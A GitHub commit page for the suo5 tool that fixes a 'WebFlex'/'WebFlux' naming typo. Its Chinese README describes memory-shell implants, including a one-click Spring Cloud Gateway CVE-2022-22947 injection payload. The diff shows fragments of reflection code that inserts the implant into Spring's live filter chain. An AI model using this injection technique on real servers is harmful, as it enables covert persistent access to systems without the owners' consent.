Skip to content

Commit

Permalink
fix: webflux typo
Browse files Browse the repository at this point in the history
close #59
  • Loading branch information
zema1 committed Jun 30, 2024
1 parent 066afd2 commit f84a2cf
Show file tree
Hide file tree
Showing 3 changed files with 7 additions and 7 deletions.
6 changes: 3 additions & 3 deletions assets/java/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,10 +10,10 @@
| `suo5.jsp` |||| |
| `suo5.jspx` |||| |
| `Suo5Filter.java` |||| `javax.servlet.Filter` 的实现,用于经典中间件 `Filter` 类型的内存马注入 |
| `Suo5WebFlexFilter.java` ||| x | `org.springframework.web.server.WebFilter` 的实现, 用于响应式的 Spring Netty 环境 |
| `Suo5WebFlexSpEL.txt` ||| x | Spring Cloud Gateway `CVE-2022-22947` 的一键注入 Suo5 的 Payload |
| `Suo5WebFluxFilter.java` ||| x | `org.springframework.web.server.WebFilter` 的实现, 用于响应式的 Spring Netty 环境 |
| `Suo5WebFluxSpEL.txt` ||| x | Spring Cloud Gateway `CVE-2022-22947` 的一键注入 Suo5 的 Payload |

> WebFlex 的负载转发功能时可以支持的,时间比较仓库还没写,后面会更新
> WebFlux 的负载转发功能时可以支持的,时间比较仓库还没写,后面会更新
内存马注入推荐参考这个项目,其支持生成各种中间件的一键 Suo5
注入逻辑 [java-memshell-generator-release](https://github.com/pen4uin/java-memshell-generator-release)
Original file line number Diff line number Diff line change
Expand Up @@ -43,14 +43,14 @@
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;

public class Suo5WebFlexFilter implements WebFilter {
public class Suo5WebFluxFilter implements WebFilter {
public static HashMap ctx = new HashMap();

public Suo5WebFlexFilter() {
public Suo5WebFluxFilter() {
doInject();
}

public Suo5WebFlexFilter(String not) {
public Suo5WebFluxFilter(String not) {
System.out.println(not);
}

Expand Down Expand Up @@ -485,7 +485,7 @@ public static void doInject() {
DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler, "chain", false);
Object handler = getFieldValue(defaultWebFilterChain, "handler", false);
List<WebFilter> newAllFilters = new ArrayList(defaultWebFilterChain.getFilters());
newAllFilters.add(0, new Suo5WebFlexFilter("test"));
newAllFilters.add(0, new Suo5WebFluxFilter("test"));
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Expand Down
File renamed without changes.

0 comments on commit f84a2cf

Please sign in to comment.